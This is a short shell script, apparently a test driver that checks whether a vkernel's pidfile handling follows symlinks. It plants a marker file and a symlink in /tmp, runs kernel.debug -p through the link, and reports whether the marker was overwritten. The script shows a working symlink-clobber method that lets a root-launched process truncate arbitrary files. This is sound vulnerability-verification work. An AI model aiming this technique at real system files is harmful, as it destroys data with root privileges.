#!/bin/sh
# DF-5775 run driver (on the guest, as root).
#
# writepid() (init.c:1390) opens the operator-supplied -p path with
# O_RDWR|O_CREAT|O_EXLOCK|O_NONBLOCK and ftruncate(fd, 0) (init.c:1400) --
# no O_NOFOLLOW, so a symlinked pidfile path lets the vkernel TRUNCATE and
# overwrite the symlink TARGET, with the launching user's privileges
# (typically root for production vkernels).
#
# EXPECTED (vulnerable): /tmp/df5775_target's original content ("SECRET...")
# is replaced by the vkernel pid number, via the /tmp/df5775_link symlink.
VK=/usr/obj/usr/src/sys/VKERNEL64/kernel.debug
cd /usr/obj/usr/src/sys/VKERNEL64
pkill -9 -f kernel.debug 2>/dev/null; sleep 1

echo "DF5775-MARKER-SECRET-ORIGINAL-CONTENT-MUST-SURVIVE" > /tmp/df5775_target
chmod 644 /tmp/df5775_target
ln -sf /tmp/df5775_target /tmp/df5775_link

echo "before: target=$(cat /tmp/df5775_target)"
echo "        link -> $(readlink /tmp/df5775_link)"

# -p through the symlink; no -m so the vkernel exits right after writepid()
./kernel.debug -p /tmp/df5775_link > /tmp/vk5775.log 2>&1
echo "monitor rc=$?"

echo "after:  target=[$(cat /tmp/df5775_target)]"
if grep -q DF5775-MARKER /tmp/df5775_target; then
	echo "RESULT: target intact (not vulnerable)"
else
	echo "RESULT: target CLOBBERED via symlink (vulnerable)"
fi
echo "link still present: $(ls -la /tmp/df5775_link 2>&1)"
cat /tmp/vk5775.log
exit 0